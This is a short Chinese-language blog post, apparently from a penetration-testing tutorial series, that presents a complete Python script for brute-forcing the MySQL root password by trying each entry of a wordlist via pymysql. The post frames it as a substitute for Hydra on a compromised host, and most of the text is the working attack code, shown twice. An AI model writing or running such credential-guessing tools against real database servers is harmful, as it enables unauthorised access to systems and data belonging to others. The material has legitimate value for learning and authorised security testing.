信息安全

python编写渗透测试工具之二——爆破mysql登录

2019-06-16  本文已影响245人  嘲风2018

mysql是常用的关系型数据库,在实际渗透测试的过程中,可能手边刚好没有Hydra等工具,或者已获得权限的主机没有此类工具,又恰好有python环境。本文主要内容为python编写mysql爆破脚本,假设已知用户名为root,本次设置密码字典为passwords.txt。
一、获取字典内容

#将字典密码读取到list列表
def get_pwd_list(filemane):
   result = []
   with open(filemane, 'r') as f:
       for line in f:
           result.append(line.strip('\n'))
   return result

二、暴力破解函数,参数为当次尝试的密码

# 打开数据库连接,如果用户名密码正确,则能打开,否则抛出异常
def trypassword(pwd):
    try:
        print("正在尝试密码{}".format(pwd))
        db = pymysql.connect("localhost", "root", pwd, "mys")
        print("破解成功,localhost用户的密码为{}".format(pwd))
        return True
    except:
        pass

三、主函数

def main():
    pwd_list=get_pwd_list('passwords.txt')
    for x in pwd_list:
        if(trypassword(x)):
            break

四、脚本运行结果


mysql_brute.png

附:完整代码

import pymysql
import sys

#将字典密码读取到list列表
def get_pwd_list(filemane):
    result = []
    with open(filemane, 'r') as f:
        for line in f:
            result.append(line.strip('\n'))
    return result

# 打开数据库连接,如果用户名密码正确,则能打开,否则抛出异常
def trypassword(pwd):
    try:
        print("正在尝试密码{}".format(pwd))
        db = pymysql.connect("localhost", "root", pwd, "mys")
        print("破解成功,localhost用户的密码为{}".format(pwd))
        return True
    except:
        pass

def main():
    pwd_list=get_pwd_list('passwords.txt')
    for x in pwd_list:
        if(trypassword(x)):
            break

main()

最后,由于本人也是编程小白,代码写得不尽规范和美观,请各位大神不喜轻喷,谢谢。

上一篇 下一篇

猜你喜欢

热点阅读